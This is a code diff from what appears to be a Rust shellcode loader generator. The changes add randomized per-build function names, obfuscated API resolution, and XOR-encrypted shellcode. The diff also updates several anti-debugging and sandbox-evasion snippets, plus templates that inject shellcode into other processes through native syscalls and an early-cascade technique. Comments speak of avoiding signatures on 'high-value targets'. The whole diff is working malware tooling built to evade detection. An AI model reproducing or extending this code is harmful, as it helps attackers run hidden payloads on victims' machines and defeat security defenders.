// 2. Encryption technique writes the encrypted file + decryption replacements.
|
||||
let enc = techniques::find(&order.encryption_id)
|
||||
.unwrap_or_else(|| panic!("unknown encryption: {}", order.encryption_id));
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use crate::polymorph::Polymorph;
|
||||
|
||||
/// Holds the in-progress build state. Techniques mutate this to:
|
||||
/// - choose which template directory to copy (`set_template`)
|
||||
/// - register placeholder substitutions (`set_replacement`)
|
||||
@@ -14,6 +16,9 @@ pub struct BuildContext<'a> {
|
||||
pub replacements: HashMap<&'static str, String>,
|
||||
pub template_choice: Option<&'static str>, // template folder name under `templates/`
|
||||
pub params: &'a HashMap<String, String>, // scoped: "<technique_id>.<param_name>"
|
||||
/// Shared per-build entropy. Techniques that need randomness pull it
|
||||
/// from here so the same `Order::seed` reproduces the build.
|
||||
pub polymorph: Polymorph,
|
||||
}
|
||||
|
||||
impl<'a> BuildContext<'a> {
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::random_u8;
|
||||
use std::fs;
|
||||
|
||||
pub struct Xor;
|
||||
@@ -8,7 +7,10 @@ impl Technique for Xor {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &XOR_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let key = non_zero_random_key();
|
||||
let key = loop {
|
||||
let k = (ctx.polymorph.random_u64() & 0xFF) as u8;
|
||||
if k != 0 { break k; }
|
||||
};
|
||||
let shellcode = fs::read(ctx.shellcode_path)
|
||||
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
|
||||
let encrypted: Vec<u8> = shellcode.iter().map(|b| b ^ key).collect();
|
||||
@@ -27,13 +29,6 @@ impl Technique for Xor {
|
||||
}
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop {
|
||||
let k = random_u8();
|
||||
if k != 0 { return k; }
|
||||
}
|
||||
}
|
||||
|
||||
// XOR_META declared in the generated registry.rs (build.rs reads technique.toml).
|
||||
// We re-export it here so users can `use crate::techniques::encryption::xor::XOR_META;`.
|
||||
pub use super::super::XOR_META;
|
||||
|
||||
@@ -6,19 +6,23 @@ impl Technique for AntiDebugCheckRemote {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_CHECK_REMOTE_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_check_remote() {
|
||||
let snippet = r#"fn {{FN_EVASION_CHECK_REMOTE}}() {
|
||||
static OBF_MOD: &[u8] = &{{STR_KERNEL32}};
|
||||
static OBF_PROC: &[u8] = &{{STR_CHECK_REMOTE_DBG}};
|
||||
type Fn_ = unsafe extern "system" fn(*mut core::ffi::c_void, *mut i32) -> i32;
|
||||
unsafe {
|
||||
let f: Fn_ = match {{FN_RESOLVER}}(OBF_MOD, OBF_PROC) {
|
||||
Some(f) => f,
|
||||
None => return,
|
||||
};
|
||||
let mut present: i32 = 0;
|
||||
let _ = winapi::um::debugapi::CheckRemoteDebuggerPresent(
|
||||
winapi::um::processthreadsapi::GetCurrentProcess(),
|
||||
&mut present,
|
||||
);
|
||||
let _ = f(-1isize as *mut core::ffi::c_void, &mut present);
|
||||
if present != 0 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
std::process::exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_check_remote();"#;
|
||||
{{FN_EVASION_CHECK_REMOTE}}();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -6,36 +6,33 @@ impl Technique for AntiDebugProcessDebugPort {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_PROCESS_DEBUG_PORT_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_debug_port() {
|
||||
// ProcessDebugPort returns non-zero when a debugger is attached, 0 otherwise.
|
||||
let snippet = r#"fn {{FN_EVASION_DEBUG_PORT}}() {
|
||||
static OBF_MOD: &[u8] = &{{STR_NTDLL}};
|
||||
static OBF_PROC: &[u8] = &{{STR_NTQUERYINFO}};
|
||||
type Fn_ = unsafe extern "system" fn(
|
||||
*mut core::ffi::c_void, u32, *mut isize, u32, *mut u32,
|
||||
) -> i32;
|
||||
unsafe {
|
||||
type NtQueryInfoProc = unsafe extern "system" fn(
|
||||
winapi::shared::ntdef::HANDLE,
|
||||
u32,
|
||||
*mut isize,
|
||||
u32,
|
||||
*mut u32,
|
||||
) -> i32;
|
||||
let h = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
|
||||
if h.is_null() { return; }
|
||||
let name = b"NtQueryInformationProcess\0";
|
||||
let p = winapi::um::libloaderapi::GetProcAddress(h, name.as_ptr() as *const i8);
|
||||
if p.is_null() { return; }
|
||||
let f: NtQueryInfoProc = std::mem::transmute(p);
|
||||
let f: Fn_ = match {{FN_RESOLVER}}(OBF_MOD, OBF_PROC) {
|
||||
Some(f) => f,
|
||||
None => return,
|
||||
};
|
||||
let mut debug_port: isize = 0;
|
||||
let mut ret_len: u32 = 0;
|
||||
let status = f(
|
||||
winapi::um::processthreadsapi::GetCurrentProcess(),
|
||||
-1isize as *mut core::ffi::c_void,
|
||||
7, // ProcessDebugPort
|
||||
&mut debug_port,
|
||||
core::mem::size_of::<isize>() as u32,
|
||||
&mut ret_len,
|
||||
);
|
||||
if status >= 0 && debug_port == -1 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
if status >= 0 && debug_port != 0 {
|
||||
std::process::exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_debug_port();"#;
|
||||
{{FN_EVASION_DEBUG_PORT}}();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -6,7 +6,9 @@ impl Technique for AntiDebugTeb {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_TEB_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_teb() {
|
||||
// The gs:[0x60] PEB walk is heavily signatured. Drop this technique
|
||||
// for high-value targets.
|
||||
let snippet = r#"fn {{FN_EVASION_TEB}}() {
|
||||
let being_debugged: u32;
|
||||
unsafe {
|
||||
std::arch::asm!(
|
||||
@@ -18,10 +20,10 @@ impl Technique for AntiDebugTeb {
|
||||
);
|
||||
}
|
||||
if being_debugged != 0 {
|
||||
unsafe { winapi::um::processthreadsapi::ExitProcess(0) };
|
||||
std::process::exit(0);
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_teb();"#;
|
||||
{{FN_EVASION_TEB}}();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugUnhandledFilter;
|
||||
|
||||
impl Technique for AntiDebugUnhandledFilter {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_UNHANDLED_FILTER_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_unhandled_filter() {
|
||||
extern "system" fn flt(info: *const winapi::um::winnt::EXCEPTION_POINTERS) -> i32 {
|
||||
unsafe {
|
||||
let ctx = &mut *(*info).ContextRecord;
|
||||
ctx.Rip += 3;
|
||||
}
|
||||
-1
|
||||
}
|
||||
unsafe {
|
||||
let prev = winapi::um::errhandlingapi::SetUnhandledExceptionFilter(Some(flt));
|
||||
let mut is_debugged: u8 = 1;
|
||||
std::arch::asm!(
|
||||
"int 3",
|
||||
"jmp 2f",
|
||||
"mov {0}, 0",
|
||||
"2:",
|
||||
inout(reg_byte) is_debugged,
|
||||
);
|
||||
winapi::um::errhandlingapi::SetUnhandledExceptionFilter(prev);
|
||||
if is_debugged == 1 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_unhandled_filter();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_UNHANDLED_FILTER_META;
|
||||
@@ -1,7 +0,0 @@
|
||||
id = "anti_debug_unhandled_filter"
|
||||
display_name = "SetUnhandledExceptionFilter · int3 trick"
|
||||
description = "Raise INT3. If our unhandled filter runs no debugger is present; if the breakpoint is swallowed silently, exit."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,60 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugVectoredInt3;
|
||||
|
||||
impl Technique for AntiDebugVectoredInt3 {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_VECTORED_INT3_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
// EXCEPTION_POINTERS layout (x86_64): ContextRecord at p+0x08, Rip at ctx+0xF8.
|
||||
// Walked by hand to avoid pulling a Windows-binding crate for one type.
|
||||
let snippet = r#"fn {{FN_EVASION_VEC_INT3}}() {
|
||||
use core::sync::atomic::{AtomicBool, Ordering};
|
||||
static SEEN: AtomicBool = AtomicBool::new(false);
|
||||
static OBF_MOD: &[u8] = &{{STR_KERNEL32}};
|
||||
static OBF_ADD: &[u8] = &{{STR_ADD_VEH}};
|
||||
static OBF_REM: &[u8] = &{{STR_REMOVE_VEH}};
|
||||
|
||||
unsafe extern "system" fn handler(p: *mut core::ffi::c_void) -> i32 {
|
||||
SEEN.store(true, core::sync::atomic::Ordering::Relaxed);
|
||||
unsafe {
|
||||
let ctx_ptr = *((p as *mut u8).add(0x08) as *mut *mut u8);
|
||||
let rip = ctx_ptr.add(0xF8) as *mut u64;
|
||||
*rip = (*rip).wrapping_add(1);
|
||||
}
|
||||
-1 // EXCEPTION_CONTINUE_EXECUTION
|
||||
}
|
||||
|
||||
type AddVeh = unsafe extern "system" fn(
|
||||
u32,
|
||||
unsafe extern "system" fn(*mut core::ffi::c_void) -> i32,
|
||||
) -> *mut core::ffi::c_void;
|
||||
type RemVeh = unsafe extern "system" fn(*mut core::ffi::c_void) -> u32;
|
||||
|
||||
unsafe {
|
||||
let add: AddVeh = match {{FN_RESOLVER}}(OBF_MOD, OBF_ADD) {
|
||||
Some(f) => f,
|
||||
None => return,
|
||||
};
|
||||
let rem: RemVeh = match {{FN_RESOLVER}}(OBF_MOD, OBF_REM) {
|
||||
Some(f) => f,
|
||||
None => return,
|
||||
};
|
||||
let h = add(1, handler);
|
||||
if h.is_null() {
|
||||
return;
|
||||
}
|
||||
core::arch::asm!("int 3", options(nomem, nostack));
|
||||
let _ = rem(h);
|
||||
if !SEEN.load(Ordering::Relaxed) {
|
||||
std::process::exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
{{FN_EVASION_VEC_INT3}}();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_VECTORED_INT3_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "anti_debug_vectored_int3"
|
||||
display_name = "Vectored INT3"
|
||||
description = "Register a vectored exception handler, raise INT3, then check whether the handler ran. If a debugger swallowed the trap, exit. Process-safe in DLL sideload (does not touch SetUnhandledExceptionFilter)."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -8,29 +8,43 @@ impl Technique for DomainPin {
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let expected = ctx.param("domain_pin", "domain").unwrap_or("");
|
||||
if expected.is_empty() {
|
||||
// user enabled the check but didn't fill in a domain
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let sandbox_function = format!(
|
||||
"fn evasion_domain_pin_get_name() -> Option<String> {{
|
||||
let mut size: u32 = 256;
|
||||
let mut buffer: Vec<u16> = vec![0; size as usize];
|
||||
let success = unsafe {{ winapi::um::sysinfoapi::GetComputerNameExW(winapi::um::sysinfoapi::ComputerNameDnsDomain, buffer.as_mut_ptr(), &mut size) }};
|
||||
if success == 0 || size == 0 {{ return None; }}
|
||||
let domain_name = String::from_utf16(&buffer[..size as usize]).map(|s| s.trim_end_matches('\\0').to_string()).ok()?;
|
||||
if domain_name.is_empty() {{ return None; }}
|
||||
Some(domain_name)
|
||||
// The expected domain still ends up as a plaintext string literal in
|
||||
// the payload; that is a build-time user input, not a fingerprintable
|
||||
// constant, so leave it as is.
|
||||
let snippet = format!(
|
||||
r#"fn {{{{FN_EVASION_DOMAIN}}}}_get_name() -> Option<String> {{
|
||||
static OBF_MOD: &[u8] = &{{{{STR_KERNEL32}}}};
|
||||
static OBF_PROC: &[u8] = &{{{{STR_GET_COMPUTER_NAME_EX_W}}}};
|
||||
type Fn_ = unsafe extern "system" fn(i32, *mut u16, *mut u32) -> i32;
|
||||
unsafe {{
|
||||
let f: Fn_ = match {{{{FN_RESOLVER}}}}(OBF_MOD, OBF_PROC) {{
|
||||
Some(f) => f,
|
||||
None => return None,
|
||||
}};
|
||||
let mut size: u32 = 256;
|
||||
let mut buf: Vec<u16> = vec![0; size as usize];
|
||||
let ok = f(2 /* ComputerNameDnsDomain */, buf.as_mut_ptr(), &mut size);
|
||||
if ok == 0 || size == 0 {{ return None; }}
|
||||
buf.truncate(size as usize);
|
||||
String::from_utf16(&buf).ok().map(|s| s.trim_end_matches('\0').to_string())
|
||||
}}
|
||||
}}
|
||||
fn evasion_domain_pin() {{
|
||||
match evasion_domain_pin_get_name() {{
|
||||
Some(domain) => {{ if !domain.as_str().eq_ignore_ascii_case(\"{0}\") {{ std::process::exit(0); }} }}
|
||||
fn {{{{FN_EVASION_DOMAIN}}}}() {{
|
||||
match {{{{FN_EVASION_DOMAIN}}}}_get_name() {{
|
||||
Some(domain) => {{
|
||||
if !domain.as_str().eq_ignore_ascii_case("{0}") {{
|
||||
std::process::exit(0);
|
||||
}}
|
||||
}}
|
||||
None => {{ std::process::exit(0); }}
|
||||
}}
|
||||
}}
|
||||
evasion_domain_pin();", expected);
|
||||
{{{{FN_EVASION_DOMAIN}}}}();"#, expected);
|
||||
|
||||
ctx.append_replacement("{{SANDBOX}}", sandbox_function);
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -23,7 +23,7 @@ impl Technique for NtDelay {
|
||||
.param("nt_delay", "placement")
|
||||
.unwrap_or("Between every step");
|
||||
|
||||
let call = format!("pause({});", ms);
|
||||
let call = format!("{{{{FN_PAUSE}}}}({});", ms);
|
||||
|
||||
match placement {
|
||||
"At start" => {
|
||||
|
||||
@@ -11,10 +11,22 @@ impl Technique for CdefFolderMenu {
|
||||
let helpers = r#"
|
||||
unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32 {
|
||||
unsafe {
|
||||
windows_sys::Win32::System::Com::CoInitializeEx(
|
||||
// CoInitializeEx is process-global per-thread. Capture the HRESULT
|
||||
// so we only pair with CoUninitialize when *we* did the initialization.
|
||||
// RPC_E_CHANGED_MODE means the host already initialized the apartment
|
||||
// in a different model. We proceed without uninitializing it.
|
||||
let hr: i32 = windows_sys::Win32::System::Com::CoInitializeEx(
|
||||
std::ptr::null(),
|
||||
windows_sys::Win32::System::Com::COINIT_APARTMENTTHREADED as u32,
|
||||
);
|
||||
const S_OK: i32 = 0;
|
||||
const S_FALSE: i32 = 1;
|
||||
const RPC_E_CHANGED_MODE: i32 = 0x80010106u32 as i32;
|
||||
let we_initialized = hr == S_OK || hr == S_FALSE;
|
||||
if !we_initialized && hr != RPC_E_CHANGED_MODE {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let callback: windows_sys::Win32::UI::Shell::LPFNDFMCALLBACK =
|
||||
Some(std::mem::transmute(param));
|
||||
let mut ppcm: *mut std::ffi::c_void = std::ptr::null_mut();
|
||||
@@ -29,6 +41,10 @@ unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32
|
||||
std::ptr::null(),
|
||||
&mut ppcm,
|
||||
);
|
||||
|
||||
if we_initialized {
|
||||
windows_sys::Win32::System::Com::CoUninitialize();
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
@@ -125,6 +125,7 @@ mod tests {
|
||||
params: HashMap::new(),
|
||||
output: None,
|
||||
sideload: None,
|
||||
seed: crate::polymorph::BuildSeed(0),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +1,11 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case, unused_imports, unused_unsafe)]
|
||||
|
||||
use std::ffi::CString;
|
||||
use std::include_bytes;
|
||||
use std::ptr::null_mut;
|
||||
use std::time::Instant;
|
||||
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
|
||||
@@ -56,25 +54,21 @@ unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void {
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
const K: u8 = {{API_KEY}};
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
const OBF_H: &[u8] = &{{OBF_NT_DELAY_EXECUTION}};
|
||||
|
||||
fn r(d: &[u8]) -> Vec<u8> {
|
||||
d.iter().map(|b| b ^ K).collect()
|
||||
}
|
||||
|
||||
unsafe fn g(n: &[u8]) -> *const () {
|
||||
let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
|
||||
let s = r(n);
|
||||
let c = CString::new(s).unwrap();
|
||||
GetProcAddress(h, c.as_ptr()) as *const ()
|
||||
}
|
||||
static OBF_NTDLL_SHORT: &[u8] = &{{STR_NTDLL_SHORT}};
|
||||
|
||||
type FH = unsafe extern "system" fn(u32, *const i64) -> i32;
|
||||
|
||||
fn pause(ms: i64) {
|
||||
fn {{FN_PAUSE}}(ms: i64) {
|
||||
unsafe {
|
||||
let f: FH = std::mem::transmute(g(OBF_H));
|
||||
let f: FH = match {{FN_RESOLVER}}(OBF_NTDLL_SHORT, OBF_H) {
|
||||
Some(f) => f,
|
||||
None => return,
|
||||
};
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
f(0, &interval);
|
||||
}
|
||||
@@ -82,7 +76,7 @@ fn pause(ms: i64) {
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
{{FN_PAUSE}}(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
@@ -95,7 +89,7 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
|
||||
fn detonate(mut vec: Vec<u8>) {
|
||||
{{NT_DELAY_STEP}}
|
||||
pause(100);
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
unsafe {
|
||||
|
||||
@@ -4,7 +4,7 @@ use windows_sys::Win32::System::Memory::RtlCompareMemory;
|
||||
|
||||
const MAX_PATTERN_SIZE: usize = 0x20;
|
||||
|
||||
pub fn encode_system_ptr(ptr: u64) -> u64 {
|
||||
pub fn {{FN_ENC_PTR}}(ptr: u64) -> u64 {
|
||||
let cookie: u32 = unsafe { *(0x7FFE0330 as *const u32) };
|
||||
((ptr ^ cookie as u64).rotate_right((cookie & 0x3F) as u32)) as u64
|
||||
}
|
||||
|
||||
@@ -25,8 +25,8 @@ use windows_sys::core::s;
|
||||
mod core_file;
|
||||
mod stubs;
|
||||
|
||||
use core_file::{encode_system_ptr, find_pattern, find_se_dll_loaded, find_shims_enabled};
|
||||
use stubs::STUB;
|
||||
use core_file::{{{FN_ENC_PTR}}, find_se_dll_loaded, find_shims_enabled};
|
||||
use stubs::{STUB, STUB_PLACEHOLDER_OFFSET};
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
@@ -34,6 +34,10 @@ use stubs::STUB;
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
@@ -41,13 +45,13 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
// Called by {{NT_DELAY_*}} placeholders when the nt_delay evasion is selected.
|
||||
// Called by the NT_DELAY placeholders when the nt_delay evasion is selected.
|
||||
#[allow(dead_code)]
|
||||
fn pause(ms: u64) {
|
||||
fn {{FN_PAUSE}}(ms: u64) {
|
||||
std::thread::sleep(std::time::Duration::from_millis(ms));
|
||||
}
|
||||
|
||||
unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) {
|
||||
unsafe fn {{FN_CASCADE}}(shellcode: &[u8], target_process: &[u8]) {
|
||||
let si = zeroed::<STARTUPINFOA>();
|
||||
let mut pi = zeroed::<PROCESS_INFORMATION>();
|
||||
|
||||
@@ -116,8 +120,8 @@ unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) {
|
||||
let stub_addr = remote_mem as u64;
|
||||
let shell_addr = stub_addr + STUB.len() as u64;
|
||||
|
||||
let placeholder = find_pattern(STUB, &[0x11; 8]).unwrap_or(0);
|
||||
let mut patched_stub = STUB.to_vec();
|
||||
let mut patched_stub: Vec<u8> = {{FN_DECODER}}(STUB);
|
||||
let placeholder = STUB_PLACEHOLDER_OFFSET;
|
||||
patched_stub[placeholder..placeholder + 8]
|
||||
.copy_from_slice(&shims_enabled.to_le_bytes());
|
||||
|
||||
@@ -137,7 +141,7 @@ unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) {
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
let encoded_ptr = encode_system_ptr(stub_addr);
|
||||
let encoded_ptr = {{FN_ENC_PTR}}(stub_addr);
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
se_dll_loaded as _,
|
||||
@@ -175,7 +179,7 @@ fn main() {
|
||||
|
||||
// Process name must be NUL-terminated for CreateProcessA.
|
||||
let target = b"{{TARGET_PROCESS}}\0";
|
||||
unsafe { cascade(&vec, target); }
|
||||
unsafe { {{FN_CASCADE}}(&vec, target); }
|
||||
wipe(&mut vec);
|
||||
}
|
||||
|
||||
|
||||
@@ -29,7 +29,11 @@ use std::time::Instant;
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
|
||||
let mut dom: Vec<usize> = Vec::new();
|
||||
let s = System::new_all();
|
||||
let tar_lower = tar.to_lowercase();
|
||||
@@ -41,14 +45,14 @@ fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
dom
|
||||
}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
fn {{FN_PAUSE}}(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
{{FN_PAUSE}}(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
@@ -59,7 +63,7 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
let mut process_handle = tar as HANDLE;
|
||||
let mut oa = OBJECT_ATTRIBUTES::default();
|
||||
let mut ci = CLIENT_ID {
|
||||
@@ -76,7 +80,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(150);
|
||||
{{FN_PAUSE}}({{JITTER_1}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
@@ -91,7 +95,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(200);
|
||||
{{FN_PAUSE}}({{JITTER_2}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let buf_len = buf.len();
|
||||
@@ -106,7 +110,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(150);
|
||||
{{FN_PAUSE}}({{JITTER_3}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_perms = PAGE_READWRITE;
|
||||
@@ -120,7 +124,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(100);
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
@@ -154,10 +158,10 @@ fn main() {
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
let list: Vec<usize> = boxboxbox(tar);
|
||||
let list: Vec<usize> = {{FN_FIND_PID}}(tar);
|
||||
if !list.is_empty() {
|
||||
for i in &list {
|
||||
enhance(vec.clone(), *i);
|
||||
{{FN_INJECT}}(vec.clone(), *i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -23,14 +23,18 @@ use std::include_bytes;
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
fn {{FN_PAUSE}}(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
{{FN_PAUSE}}(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
@@ -41,7 +45,7 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>) {
|
||||
fn {{FN_INJECT}}(mut buf: Vec<u8>) {
|
||||
unsafe {
|
||||
let buf_len = buf.len();
|
||||
|
||||
@@ -57,7 +61,7 @@ fn enhance(mut buf: Vec<u8>) {
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
pause(150);
|
||||
{{FN_PAUSE}}({{JITTER_1}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut bytes_written: usize = 0;
|
||||
@@ -73,7 +77,7 @@ fn enhance(mut buf: Vec<u8>) {
|
||||
|
||||
wipe(&mut buf);
|
||||
|
||||
pause(200);
|
||||
{{FN_PAUSE}}({{JITTER_2}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
@@ -87,7 +91,7 @@ fn enhance(mut buf: Vec<u8>) {
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
pause(100);
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
@@ -113,7 +117,7 @@ fn main() {
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
enhance(vec);
|
||||
{{FN_INJECT}}(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -19,7 +19,11 @@ use std::thread;
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
|
||||
let mut dom: Vec<usize> = Vec::new();
|
||||
let s = System::new_all();
|
||||
let tar_lower = tar.to_lowercase();
|
||||
@@ -31,13 +35,13 @@ fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
dom
|
||||
}
|
||||
|
||||
fn pause(ms: u64) {
|
||||
fn {{FN_PAUSE}}(ms: u64) {
|
||||
thread::sleep(Duration::from_millis(ms));
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
